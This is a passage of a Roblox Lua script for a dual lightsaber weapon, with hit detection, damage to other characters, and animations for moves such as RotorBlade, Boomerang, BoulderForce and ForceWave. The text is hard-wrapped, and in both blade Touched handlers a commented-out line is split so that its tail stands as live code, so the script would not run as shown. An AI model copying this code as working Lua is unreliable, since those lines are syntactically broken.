wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(RightDebounce,nf) end
end
else
if v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-
Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then v:BreakJoints()
v.Velocity = cf(Blad2.Position,v.Position).lookVector*30 + Vector3.new(0,20,0) end
end
end))
end -- for
end
end
end))
Blad1.Touched:connect(function(hit)
if Left == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(LeftDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(LeftDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(LeftDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(LeftDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char)
and hit.Anchored == false then hit:BreakJoints() hit.Velocity =
cf(Blad1.Position,hit.Position).lookVector*30 end
end
end
end)

Blad2.Touched:connect(function(hit)
if Right == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(RightDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(RightDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char)
and hit.Anchored == false then hit:BreakJoints() hit.Velocity =
cf(Blad2.Position,hit.Position).lookVector*30 end
end
end
end)
LW = inew("Weld")
RW = inew("Weld")
Fla = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fra = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Flaw = fWeld("Weld",Fla,Tor,Fla,true,-1.5,0.5,0,0,0,0)
Fraw = fWeld("Weld",Fla,Tor,Fra,true,1.5,0.5,0,0,0,0)
Flaw.C1 = CFrame.new(0,0.5,0)
Fraw.C1 = CFrame.new(0,0.5,0)

Fll = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Frl = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fllw = fWeld("Weld",Fll,Torso,Fll,true,0,0,0,0,0,0)
Frlw = fWeld("Weld",Fll,Torso,Frl,true,0,0,0,0,0,0)

function FeetWeld(yesorno,lhh,rhh)
if yesorno == false then
lhh.Parent = nil
rhh.Parent = nil
Lh.Parent = Torso
Rh.Parent = Torso
Lh.Part0 = Tor
Rh.Part0 = Tor
Lh.Part1 = Char["Left Leg"]
Rh.Part1 = Char["Right Leg"]
return Lh,Rh
else
Rh.Parent = nil
Lh.Parent = nil
local hl,hr = it("Weld",Torso),it("Weld",Torso)
hl.Part0 = Fll
hr.Part0 = Frl
hl.Part1 = Char["Left Leg"]
hr.Part1 = Char["Right Leg"]
hr.C1 = cf(-0.5,1.75,0)
hl.C1 = cf(0.5,1.75,0)
return hl,hr
end
end
Anims = {}
Anims.Equip = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(180),0) H1w.C1 = ca(mr(-90),0,0)
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Anim.Act = false
end
Anims.UnEquip = function(i1,i2,is)
Anim.Act = true
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
H1w.Part0 = Torso
H1w.Part1 = H1
H1w.C0 = cf(0.4,-0.7,0.5) *ca(0,0,mr(45))
H1w.C1 = cf(0,0,0) *ca(0,0,0)
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
Anim.Act = false
end
Anims.ChangeToDual = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Sound(Sounds.SaberHit,1,1)
Sound(Sounds.SaberLightUp,2,0.5)
H1w.Part0 = La
H1w.Part1 = H1
H2w.Part0 = Ra
H2w.Part1 = H2
H2w.C1 = ca(mr(-90),0,0)
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
Anim.Act = false
end
Anims.ChangeToSingle = function(i1,i2,is)
Anim.Act = true
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H2w.Part0 = H1
H2w.Part1 = H2
H2w.C1 = ca(0,0,0)
H2w.C0 = cf(0,-0.8,0) *ca(mr(180),0,0)
Sound(Sounds.SaberLightUp,2,0.5)
Sound(Sounds.SaberHit,1,1)
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Anim.Act = false
end
Anims.RotorBlade = function(i1,i2,is,RaigCost)
local lolpos = (Torso.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
local ally = (((mouse.X-(mouse.ViewSizeX/2))/mouse.ViewSizeX)*1.8)*-90
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed + (8*Speed)
Left = true
Right = true
Dash(Blad1,2/Speed,nil,2)
Dash(Blad2,2/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2*4,is do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(360*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed - (8*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
-------
Anims.Boomerang = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
local lolpos = (Head.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Left = true
Right = true
Dash(Blad1,3.8/Speed,nil,2)
Dash(Blad2,3.8/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(10*i,-1.1+(-15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(10+(-20*i),-16.1,0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(-10+(10*i),-16.1+(15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.BoulderForce = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local bould = p(workspace,"Block",4,4,8,true,true,0,0,"Medium stone grey")
bould.Name = "Boulder" bould.Material = "Concrete"
local rm = RockMesh:Clone() rm.Scale = Vector3.new(3,3,4.8) rm.Parent = bould
bould.Elasticity = 0 bould.Friction = 2 bould.CFrame = cf(Torso.Position.x+
(math.random(-14,14)),Torso.Position.y-5,Torso.Position.z+(math.random(-14,14)))
*CFrame.Angles(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/
10)
local warpdes = true
local bpos = bould.Position
Sound(Sounds.Cast,0.95,0.8)
coroutine.resume(coroutine.create(function() repeat
Functions.BrickWarpDesign(bould,9) wait() until warpdes == false end))
for i=0,1,0.08 do bould.CFrame = CFrame.new(bpos.x,bpos.y,bpos.z) +
Vector3.new(0,20*i,0) wait() end wait(1) bould.CFrame =
CFrame.new(bpos.x,bpos.y+20,bpos.z) bould.CFrame = cf(bould.Position,mouse.hit.p)
bould.Anchored = false wait() bould.Velocity = bould.CFrame.lookVector
*(math.random(180,350)) bould.Touched:connect(function(hit)
Functions.BoulderTouch(hit,bould) end)
wait(0.5)
warpdes = false
game.Debris:AddItem(bould,10)
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.ForceWave = function(i1,i2,is,RaigCost)
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then Anim.Act = false return end
MinusRage(RaigCost)
Anim.Act = true
lh2,rh2 = FeetWeld(true,Lh,Rh)
local bp2 = Instance.new("BodyPosition",Torso)
bp2.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
DebounceSpeed = DebounceSpeed + (1.1*Speed)
bp2.position = Torso.Position + Vector3.new(0,25,0)
Dash(Blad1,2.5/Speed)
Dash(Blad2,2.5/Speed)
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0,BladeColor) wav.Anchored =
true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
wavm.Scale = Vector3.new(15,6,15)
local cff = Torso.CFrame - Vector3.new(0,0,0)
coroutine.resume(coroutine.create(function()
Dash(Blad1,4/Speed)
Dash(Blad2,4/Speed)
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end for i=i1,i2*3,is*Speed do H1w.C1 = ca(mr(-50),mr(360*i),0) wait() end end))
Sound(Sounds.Cast,0.45,1) for i=i1,i2*5,is do Functions.BrickWarpDesign(Torso,13)
wav.CFrame = cff *ca(0,mr(180*i),0) wait() end
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end wav:Remove()
for i=i2,i1,-is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end
bp2:Remove()
local bg = Instance.new("BodyGyro",Torso) bg.maxTorque =
Vector3.new(math.huge,0,math.huge)
local bp = Instance.new("BodyPosition",Torso) bp.position = Torso.Position
bp.maxForce = Vector3.new(math.huge,1000000,math.huge)
rpos = math.abs(hitpos.y - Torso.Position.y)
rpos = rpos - 1.2
local tpos = Torso.Position
Hum.WalkSpeed = 0
Hum.PlatformStand = true
Dash(Blad2,1.6/Speed,RingMesh.MeshId)
for i=i1,i2,is do
bp.position = tpos - Vector3.new(0,rpos*i,0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
wait(0.25)
Sound(Sounds.Boom,0.5,1)
Sound(Sounds.EnergyBlast,0.9,1)
Right = true
ShockWave(Torso,50,BladeColor)
wait(1.5)
Right = false
local t2pos = Torso.Position
for i=i2,i1,-is do
bp.position = t2pos - Vector3.new(0,1.5-(1.5*i),0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (1.1*Speed)
bp:Remove()
bg:Remove()
Hum.PlatformStand = false
Hum.WalkSpeed = RealSpeed
Torw.C1 = ca(0,0,0)
Anim.Act = false
Lh,Rh = FeetWeld(false,lh2,rh2)
end
Anims.DualSpin = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-
(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-
30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed) Right = true Left = true
Dash(Blad1,2.6/Speed,nil,2) Dash(Blad2,2.6/Speed,nil,2) local x,y,z =
Neck.C0:toEulerAnglesXYZ()
local soundtime = 0
for i=i1,i2*4,is*Speed do if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end Torw.C1 =
ca(0,mr(i*360),0) Neck.C0 = cf(0,1,0) *ca(x,y,z+mr(-360*i)) wait() end Neck.C0 =
cf(0,1,0) *ca(x,y,z)Torw.C1 = ca(0,0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed) for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-
(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-
30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end Right = false Left = false
Anim.Act = false
end

----------------------------
----------------------------
----------------------------
----------------------------

Lh = Torso["Left Hip"]
Rh = Torso["Right Hip"]

Functions = {}
Functions.BoulderTouch = function(hit2,bould)
print(bould.Name)
for i,v in pairs(workspace:GetChildren()) do
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and
v:findFirstChild("Humanoid") ~= nil then
if math.abs((v.Torso.Position-bould.Position).magnitude) < 11 and
ft(RightDebounce,v.Name) == nil then
Sound(Sounds.Smash,1,1)
Dmgz(v.Humanoid,Damage["BoulderForce"])
table.insert(RightDebounce,v.Name)
print(v.Name)
coroutine.resume(coroutine.create(function()wait(DebounceSpeed) local nf =
ft(RightDebounce,v.Name) if nf ~= nil then table.remove(RightDebounce,nf) end end))
end
else
if v ~= bould and v:IsA("BasePart") and v.Anchored == false and
math.abs((v.Position-bould.Position).magnitude) < 11 then v:BreakJoints()
v.Velocity = cf(bould.Position,v.Position).lookVector*10 + Vector3.new(0,10,0) end
end
end -- for
end
Functions.Sparkle = function(bb,scal,si)
if si == nil then si = 1 end
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-
scal,scal),math.random(-scal,scal))
local np = p(Torm,"Block",0.1,0.1,0.1,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(rand.x,rand.y,rand.z) *ca(math.random(-33,33)/10,math.random(-
33,33)/10,math.random(-33,33)/10)
local dm = DiamondMesh:Clone() dm.Scale = Vector3.new(0,0,0) dm.Parent = np
coroutine.resume(coroutine.create(function()
for i=0,1*si,0.1*si do
dm.Scale = Vector3.new(1*i,1.25*i,1*i)
wait()
end
end))
coroutine.resume(coroutine.create(function()
wait(0.1)
for i=0,1,0.1 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.BrickWarpDesign = function(bb,scal)
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-
scal,scal),math.random(-scal,scal))
local mag = (rand - bb.Position).magnitude
local np = p(Torm,"Block",0.1,0.1,mag-3,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(bb.Position,rand)
np.CFrame = np.CFrame + np.CFrame.lookVector*((scal/5)+(mag/2))
coroutine.resume(coroutine.create(function()
for i=0.1,1,0.05 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.RageRegen = function()
local lostcontrol = false
local hpos = Torso.Position.y + 10
Anim.Move = "RageRegening"
Anim.Act = true
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,1,0,BladeColor) wav.Anchored =
true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(5,3.5,5)
wav.CFrame = cf((Torso.CFrame * CFrame.new(0,-2.5,0)).p) *ca(0,mr(wavv),0)
local bp = Instance.new("BodyPosition",Torso)
bp.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
bp.position = Torso.Position + Vector3.new(0,10,0)
local bpos = bp.position
coroutine.resume(coroutine.create(function()
lh2,rh2 = FeetWeld(true,Lh,Rh)
if SwordType == "Single" then
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
local function movezx(i1,i2,is,bp)
if SwordType == "Single" then
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-120+(20*i)),0,0)
LW.C0 = cf(0,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-120+(20*i)),0,0)
RW.C0 = cf(0,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
else
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-110),mr(0),0)
LW.C0 = cf(-0.1,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-110),mr(0),0)
RW.C0 = cf(0.1,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
end
end
local moved = 2
repeat
if Rage >= MaxRage or Anim.key.z == false then break end
if moved == 2 then moved = 1 movezx(0,1,0.025,bp) else moved = 2 movezx(1,0,-
0.025,bp) end
until Rage >= MaxRage or Anim.key.z == false or lostcontrol == true
if SwordType == "Single" then
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
